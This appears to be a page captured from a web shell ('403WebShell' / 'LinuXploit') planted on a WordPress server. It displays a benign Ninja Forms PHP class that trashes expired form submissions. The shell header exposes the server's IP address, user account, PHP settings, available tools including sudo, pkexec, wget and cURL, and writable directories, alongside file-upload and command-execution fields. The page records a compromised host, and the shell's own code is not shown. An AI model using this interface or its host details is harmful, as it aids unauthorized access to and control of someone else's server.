Uname:Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64

Base Dir : /var/www/html

User : gavin


403WebShell
403Webshell
Server IP : 68.183.124.220  /  Your IP : 216.73.217.137
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : gavin ( 1000)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/ninja-forms/includes/Admin/Processes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/ninja-forms/includes/Admin/Processes/ExpiredSubmissionCleanup.php
<?php if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Class NF_Abstracts_Batch_Process
 */
class NF_Admin_Processes_ExpiredSubmissionCleanup extends NF_Abstracts_BatchProcess
{
    protected $_slug = 'expired_submission_cleanup';
    protected $expired_subs = array();

    /**
     * Function to run any setup steps necessary to begin processing.
     */
    public function startup()
    {
        // Retrieves the option that contains all of our expiration data.
        $expired_sub_option = get_option( 'nf_sub_expiration', array() );

        // Loop over our options and ...
        foreach( $expired_sub_option as $sub ) {
            /*
             * Separate our $option values into two positions
             *  $option[ 0 ] = ( int ) form_id
             *  $option[ 1 ] = ( int ) expiration time in days.
             */
            $sub = explode( ',', $sub );

            $expired_subs = $this->get_expired_subs( $sub[ 0 ], $sub[ 1 ] );

            // Use the helper method to build an array of expired subs.
            $this->expired_subs = array_merge( $this->expired_subs, $expired_subs );
        }
    }

    /**
     * Function to run any setup steps necessary to begin processing for steps after the first.
     *
     * @since 3.4.0
     * @return  void 
     */
    public function restart()
    {
        // Get our remaining submissions from record.
        $this->expired_subs = get_option( 'nf_expired_submissions', array() );
    }

    /**
     * Function to loop over the batch.
     *
     * @since 3.4.0
     * @return  void 
     */
    public function process()
    {

        // For the first 250 in the array.
        for( $i = 0; $i < 250; $i++ ){
            // if we've already finished bail..
            if( empty( $this->expired_subs ) ) break;

            // Pop off a sub and delete it.
            $sub = array_pop( $this->expired_subs );
            wp_trash_post( $sub );
        }

        // If our subs array isn't empty...
        if( ! empty( $this->expired_subs ) ) {
            // Update nf_expired_submissions so that we can use it in our next step.
            update_option( 'nf_expired_submissions', $this->expired_subs );
            // End processing and move to the next step.
            $this->next_step();
        }

        // If we get here, then we're ready to end batch processing.
        $this->batch_complete();
    }

    /**
     * Function to cleanup any lingering temporary elements of a batch process after completion.
     *
     * @since 3.4.0
     * @return  void 
     */
    public function cleanup()
    {
        delete_option( 'nf_expired_submissions' );
    }

    /**
     * Get Steps
     * Determines the amount of steps needed for the step processors.
     *
     * @since 3.4.0
     * @return int of the number of steps.
     */
    public function get_steps()
    {
        // Convent our number from int to float
        $steps = count( $this->expired_subs );
        $steps = floatval( $steps );

        // Get the amount of steps and return.
        $steps = ceil( $steps / 250.0 );
        return $steps;
    }

    /**
     * Get Expired Subs
     * Gathers our expired subs puts them into an array and returns it.
     *
     * @param $form_id - ( int ) ID of the Form.
     * @param $expiration_time - ( int ) number of days the submissions
     *                                  are set to expire in
     *
     * @return array of all the expired subs that were found.
     */
    public function get_expired_subs( $form_id, $expiration_time )
    {
        // Create the that will house our expired subs.
        $expired_subs = array();

        // Create our deletion timestamp.
        $deletion_timestamp = time() - ( 24 * 60 * 60 * $expiration_time );

        // Get our subs and loop over them.
        $sub = Ninja_Forms()->form( $form_id )->get_subs();
        foreach( $sub as $sub_model ) {
            // Get the sub date and change it to a UNIX time stamp.
            $sub_timestamp = strtotime( $sub_model->get_sub_date( 'Y-m-d') );
            // Compare our timestamps and any expired subs to the array.
            if( $sub_timestamp <= $deletion_timestamp ) {
                $expired_subs[] = $sub_model->get_id();
            }
        }
        return $expired_subs;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit